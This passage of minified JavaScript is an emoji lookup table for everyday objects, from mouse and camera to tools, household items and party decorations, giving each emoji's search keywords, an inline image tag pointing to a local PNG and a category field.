style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddb1" src="1f5b1.png"/>',fitzpatrick_scale:!1,category:"objects"},trackball:{keywords:["technology","trackpad"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddb2" src="1f5b2.png"/>',fitzpatrick_scale:!1,category:"objects"},joystick:{keywords:["game","play"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd79" src="1f579.png"/>',fitzpatrick_scale:!1,category:"objects"},clamp:{keywords:["tool"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udddc" src="1f5dc.png"/>',fitzpatrick_scale:!1,category:"objects"},minidisc:{keywords:["technology","record","data","disk","90s"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcbd" src="1f4bd.png"/>',fitzpatrick_scale:!1,category:"objects"},floppy_disk:{keywords:["oldschool","technology","save","90s","80s"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcbe" src="1f4be.png"/>',fitzpatrick_scale:!1,category:"objects"},cd:{keywords:["technology","dvd","disk","disc","90s"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcbf" src="1f4bf.png"/>',fitzpatrick_scale:!1,category:"objects"},dvd:{keywords:["cd","disk","disc"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc0" src="1f4c0.png"/>',fitzpatrick_scale:!1,category:"objects"},vhs:{keywords:["record","video","oldschool","90s","80s"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcfc" src="1f4fc.png"/>',fitzpatrick_scale:!1,category:"objects"},camera:{keywords:["gadgets","photography"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf7" src="1f4f7.png"/>',fitzpatrick_scale:!1,category:"objects"},camera_flash:{keywords:["photography","gadgets"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf8" src="1f4f8.png"/>',fitzpatrick_scale:!1,category:"objects"},video_camera:{keywords:["film","record"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf9" src="1f4f9.png"/>',fitzpatrick_scale:!1,category:"objects"},movie_camera:{keywords:["film","record"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfa5" src="1f3a5.png"/>',fitzpatrick_scale:!1,category:"objects"},film_projector:{keywords:["video","tape","record","movie"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcfd" src="1f4fd.png"/>',fitzpatrick_scale:!1,category:"objects"},film_strip:{keywords:["movie"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf9e" src="1f39e.png"/>',fitzpatrick_scale:!1,category:"objects"},telephone_receiver:{keywords:["technology","communication","dial"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcde" src="1f4de.png"/>',fitzpatrick_scale:!1,category:"objects"},phone:{keywords:["technology","communication","dial","telephone"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u260e\ufe0f" src="260e.png"/>',fitzpatrick_scale:!1,category:"objects"},pager:{keywords:["bbcall","oldschool","90s"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcdf" src="1f4df.png"/>',fitzpatrick_scale:!1,category:"objects"},fax:{keywords:["communication","technology"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce0" src="1f4e0.png"/>',fitzpatrick_scale:!1,category:"objects"},tv:{keywords:["technology","program","oldschool","show","television"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcfa" src="1f4fa.png"/>',fitzpatrick_scale:!1,category:"objects"},radio:{keywords:["communication","music","podcast","program"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcfb" src="1f4fb.png"/>',fitzpatrick_scale:!1,category:"objects"},studio_microphone:{keywords:["sing","recording","artist","talkshow"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf99" src="1f399.png"/>',fitzpatrick_scale:!1,category:"objects"},level_slider:{keywords:["scale"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf9a" src="1f39a.png"/>',fitzpatrick_scale:!1,category:"objects"},control_knobs:{keywords:["dial"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf9b" src="1f39b.png"/>',fitzpatrick_scale:!1,category:"objects"},compass:{keywords:["magnetic","navigation","orienteering"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udded" src="1f9ed.png"/>',fitzpatrick_scale:!1,category:"objects"},stopwatch:{keywords:["time","deadline"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23f1" src="23f1.png"/>',fitzpatrick_scale:!1,category:"objects"},timer_clock:{keywords:["alarm"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23f2" src="23f2.png"/>',fitzpatrick_scale:!1,category:"objects"},alarm_clock:{keywords:["time","wake"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23f0" src="23f0.png"/>',fitzpatrick_scale:!1,category:"objects"},mantelpiece_clock:{keywords:["time"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd70" src="1f570.png"/>',fitzpatrick_scale:!1,category:"objects"},hourglass_flowing_sand:{keywords:["oldschool","time","countdown"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u23f3" src="23f3.png"/>',fitzpatrick_scale:!1,category:"objects"},hourglass:{keywords:["time","clock","oldschool","limit","exam","quiz","test"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u231b" src="231b.png"/>',fitzpatrick_scale:!1,category:"objects"},satellite:{keywords:["communication","future","radio","space"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce1" src="1f4e1.png"/>',fitzpatrick_scale:!1,category:"objects"},battery:{keywords:["power","energy","sustain"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd0b" src="1f50b.png"/>',fitzpatrick_scale:!1,category:"objects"},electric_plug:{keywords:["charger","power"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd0c" src="1f50c.png"/>',fitzpatrick_scale:!1,category:"objects"},bulb:{keywords:["light","electricity","idea"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca1" src="1f4a1.png"/>',fitzpatrick_scale:!1,category:"objects"},flashlight:{keywords:["dark","camping","sight","night"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd26" src="1f526.png"/>',fitzpatrick_scale:!1,category:"objects"},candle:{keywords:["fire","wax"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd6f" src="1f56f.png"/>',fitzpatrick_scale:!1,category:"objects"},fire_extinguisher:{keywords:["quench"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddef" src="1f9ef.png"/>',fitzpatrick_scale:!1,category:"objects"},wastebasket:{keywords:["bin","trash","rubbish","garbage","toss"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddd1" src="1f5d1.png"/>',fitzpatrick_scale:!1,category:"objects"},oil_drum:{keywords:["barrell"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udee2" src="1f6e2.png"/>',fitzpatrick_scale:!1,category:"objects"},money_with_wings:{keywords:["dollar","bills","payment","sale"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb8" src="1f4b8.png"/>',fitzpatrick_scale:!1,category:"objects"},dollar:{keywords:["money","sales","bill","currency"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb5" src="1f4b5.png"/>',fitzpatrick_scale:!1,category:"objects"},yen:{keywords:["money","sales","japanese","dollar","currency"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb4" src="1f4b4.png"/>',fitzpatrick_scale:!1,category:"objects"},euro:{keywords:["money","sales","dollar","currency"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb6" src="1f4b6.png"/>',fitzpatrick_scale:!1,category:"objects"},pound:{keywords:["british","sterling","money","sales","bills","uk","england","currency"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb7" src="1f4b7.png"/>',fitzpatrick_scale:!1,category:"objects"},moneybag:{keywords:["dollar","payment","coins","sale"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb0" src="1f4b0.png"/>',fitzpatrick_scale:!1,category:"objects"},credit_card:{keywords:["money","sales","dollar","bill","payment","shopping"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcb3" src="1f4b3.png"/>',fitzpatrick_scale:!1,category:"objects"},gem:{keywords:["blue","ruby","diamond","jewelry"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc8e" src="1f48e.png"/>',fitzpatrick_scale:!1,category:"objects"},balance_scale:{keywords:["law","fairness","weight"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2696" src="2696.png"/>',fitzpatrick_scale:!1,category:"objects"},toolbox:{keywords:["tools","diy","fix","maintainer","mechanic"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf0" src="1f9f0.png"/>',fitzpatrick_scale:!1,category:"objects"},wrench:{keywords:["tools","diy","ikea","fix","maintainer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd27" src="1f527.png"/>',fitzpatrick_scale:!1,category:"objects"},hammer:{keywords:["tools","build","create"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd28" src="1f528.png"/>',fitzpatrick_scale:!1,category:"objects"},hammer_and_pick:{keywords:["tools","build","create"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2692" src="2692.png"/>',fitzpatrick_scale:!1,category:"objects"},hammer_and_wrench:{keywords:["tools","build","create"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udee0" src="1f6e0.png"/>',fitzpatrick_scale:!1,category:"objects"},pick:{keywords:["tools","dig"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26cf" src="26cf.png"/>',fitzpatrick_scale:!1,category:"objects"},nut_and_bolt:{keywords:["handy","tools","fix"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd29" src="1f529.png"/>',fitzpatrick_scale:!1,category:"objects"},gear:{keywords:["cog"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2699" src="2699.png"/>',fitzpatrick_scale:!1,category:"objects"},brick:{keywords:["bricks"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf1" src="1f9f1.png"/>',fitzpatrick_scale:!1,category:"objects"},chains:{keywords:["lock","arrest"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26d3" src="26d3.png"/>',fitzpatrick_scale:!1,category:"objects"},magnet:{keywords:["attraction","magnetic"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf2" src="1f9f2.png"/>',fitzpatrick_scale:!1,category:"objects"},gun:{keywords:["violence","weapon","pistol","revolver"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd2b" src="1f52b.png"/>',fitzpatrick_scale:!1,category:"objects"},bomb:{keywords:["boom","explode","explosion","terrorism"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca3" src="1f4a3.png"/>',fitzpatrick_scale:!1,category:"objects"},firecracker:{keywords:["dynamite","boom","explode","explosion","explosive"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde8" src="1f9e8.png"/>',fitzpatrick_scale:!1,category:"objects"},hocho:{keywords:["knife","blade","cutlery","kitchen","weapon"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd2a" src="1f52a.png"/>',fitzpatrick_scale:!1,category:"objects"},dagger:{keywords:["weapon"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udde1" src="1f5e1.png"/>',fitzpatrick_scale:!1,category:"objects"},crossed_swords:{keywords:["weapon"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2694" src="2694.png"/>',fitzpatrick_scale:!1,category:"objects"},shield:{keywords:["protection","security"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udee1" src="1f6e1.png"/>',fitzpatrick_scale:!1,category:"objects"},smoking:{keywords:["kills","tobacco","cigarette","joint","smoke"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeac" src="1f6ac.png"/>',fitzpatrick_scale:!1,category:"objects"},skull_and_crossbones:{keywords:["poison","danger","deadly","scary","death","pirate","evil"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2620" src="2620.png"/>',fitzpatrick_scale:!1,category:"objects"},coffin:{keywords:["vampire","dead","die","death","rip","graveyard","cemetery","casket","funeral","box"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26b0" src="26b0.png"/>',fitzpatrick_scale:!1,category:"objects"},funeral_urn:{keywords:["dead","die","death","rip","ashes"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26b1" src="26b1.png"/>',fitzpatrick_scale:!1,category:"objects"},amphora:{keywords:["vase","jar"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udffa" src="1f3fa.png"/>',fitzpatrick_scale:!1,category:"objects"},crystal_ball:{keywords:["disco","party","magic","circus","fortune_teller"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd2e" src="1f52e.png"/>',fitzpatrick_scale:!1,category:"objects"},prayer_beads:{keywords:["dhikr","religious"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcff" src="1f4ff.png"/>',fitzpatrick_scale:!1,category:"objects"},nazar_amulet:{keywords:["bead","charm"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddff" src="1f9ff.png"/>',fitzpatrick_scale:!1,category:"objects"},barber:{keywords:["hair","salon","style"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc88" src="1f488.png"/>',fitzpatrick_scale:!1,category:"objects"},alembic:{keywords:["distilling","science","experiment","chemistry"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2697" src="2697.png"/>',fitzpatrick_scale:!1,category:"objects"},telescope:{keywords:["stars","space","zoom","science","astronomy"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd2d" src="1f52d.png"/>',fitzpatrick_scale:!1,category:"objects"},microscope:{keywords:["laboratory","experiment","zoomin","science","study"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd2c" src="1f52c.png"/>',fitzpatrick_scale:!1,category:"objects"},hole:{keywords:["embarrassing"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd73" src="1f573.png"/>',fitzpatrick_scale:!1,category:"objects"},pill:{keywords:["health","medicine","doctor","pharmacy","drug"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc8a" src="1f48a.png"/>',fitzpatrick_scale:!1,category:"objects"},syringe:{keywords:["health","hospital","drugs","blood","medicine","needle","doctor","nurse"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc89" src="1f489.png"/>',fitzpatrick_scale:!1,category:"objects"},dna:{keywords:["biologist","genetics","life"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddec" src="1f9ec.png"/>',fitzpatrick_scale:!1,category:"objects"},microbe:{keywords:["amoeba","bacteria","germs"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udda0" src="1f9a0.png"/>',fitzpatrick_scale:!1,category:"objects"},petri_dish:{keywords:["bacteria","biology","culture","lab"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddeb" src="1f9eb.png"/>',fitzpatrick_scale:!1,category:"objects"},test_tube:{keywords:["chemistry","experiment","lab","science"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddea" src="1f9ea.png"/>',fitzpatrick_scale:!1,category:"objects"},thermometer:{keywords:["weather","temperature","hot","cold"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf21" src="1f321.png"/>',fitzpatrick_scale:!1,category:"objects"},broom:{keywords:["cleaning","sweeping","witch"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf9" src="1f9f9.png"/>',fitzpatrick_scale:!1,category:"objects"},basket:{keywords:["laundry"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddfa" src="1f9fa.png"/>',fitzpatrick_scale:!1,category:"objects"},toilet_paper:{keywords:["roll"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddfb" src="1f9fb.png"/>',fitzpatrick_scale:!1,category:"objects"},label:{keywords:["sale","tag"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff7" src="1f3f7.png"/>',fitzpatrick_scale:!1,category:"objects"},bookmark:{keywords:["favorite","label","save"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd16" src="1f516.png"/>',fitzpatrick_scale:!1,category:"objects"},toilet:{keywords:["restroom","wc","washroom","bathroom","potty"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udebd" src="1f6bd.png"/>',fitzpatrick_scale:!1,category:"objects"},shower:{keywords:["clean","water","bathroom"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udebf" src="1f6bf.png"/>',fitzpatrick_scale:!1,category:"objects"},bathtub:{keywords:["clean","shower","bathroom"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udec1" src="1f6c1.png"/>',fitzpatrick_scale:!1,category:"objects"},soap:{keywords:["bar","bathing","cleaning","lather"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddfc" src="1f9fc.png"/>',fitzpatrick_scale:!1,category:"objects"},sponge:{keywords:["absorbing","cleaning","porous"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddfd" src="1f9fd.png"/>',fitzpatrick_scale:!1,category:"objects"},lotion_bottle:{keywords:["moisturizer","sunscreen"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf4" src="1f9f4.png"/>',fitzpatrick_scale:!1,category:"objects"},key:{keywords:["lock","door","password"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd11" src="1f511.png"/>',fitzpatrick_scale:!1,category:"objects"},old_key:{keywords:["lock","door","password"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udddd" src="1f5dd.png"/>',fitzpatrick_scale:!1,category:"objects"},couch_and_lamp:{keywords:["read","chill"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udecb" src="1f6cb.png"/>',fitzpatrick_scale:!1,category:"objects"},sleeping_bed:{keywords:["bed","rest"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udecc" src="1f6cc.png"/>',fitzpatrick_scale:!0,category:"objects"},bed:{keywords:["sleep","rest"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udecf" src="1f6cf.png"/>',fitzpatrick_scale:!1,category:"objects"},door:{keywords:["house","entry","exit"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeaa" src="1f6aa.png"/>',fitzpatrick_scale:!1,category:"objects"},bellhop_bell:{keywords:["service"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udece" src="1f6ce.png"/>',fitzpatrick_scale:!1,category:"objects"},teddy_bear:{keywords:["plush","stuffed"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf8" src="1f9f8.png"/>',fitzpatrick_scale:!1,category:"objects"},framed_picture:{keywords:["photography"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddbc" src="1f5bc.png"/>',fitzpatrick_scale:!1,category:"objects"},world_map:{keywords:["location","direction"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddfa" src="1f5fa.png"/>',fitzpatrick_scale:!1,category:"objects"},parasol_on_ground:{keywords:["weather","summer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f1" src="26f1.png"/>',fitzpatrick_scale:!1,category:"objects"},moyai:{keywords:["rock","easter island","moai"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddff" src="1f5ff.png"/>',fitzpatrick_scale:!1,category:"objects"},shopping:{keywords:["mall","buy","purchase"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udecd" src="1f6cd.png"/>',fitzpatrick_scale:!1,category:"objects"},shopping_cart:{keywords:["trolley"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uded2" src="1f6d2.png"/>',fitzpatrick_scale:!1,category:"objects"},balloon:{keywords:["party","celebration","birthday","circus"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf88" src="1f388.png"/>',fitzpatrick_scale:!1,category:"objects"},flags:{keywords:["fish","japanese","koinobori","carp","banner"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf8f" src="1f38f.png"/>',fitzpatrick_scale:!1,category:"objects"},ribbon:{keywords:["decoration","pink","girl","bowtie"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf80" src="1f380.png"/>',fitzpatrick_scale:!1,category:"objects"},gift:{keywords:["present","birthday","christmas","xmas"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf81" src="1f381.png"/>',fitzpatrick_scale:!1,category:"objects"},confetti_ball:{keywords:["festival","party","birthday","circus"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf8a" src="1f38a.png"/>',fitzpatrick_scale:!1,category:"objects"},tada:{keywords:["party","congratulations","birthday","magic","circus","celebration"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf89" src="1f389.png"/>',fitzpatrick_scale:!1,category:"objects"},dolls:{keywords:["japanese","toy","kimono"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" 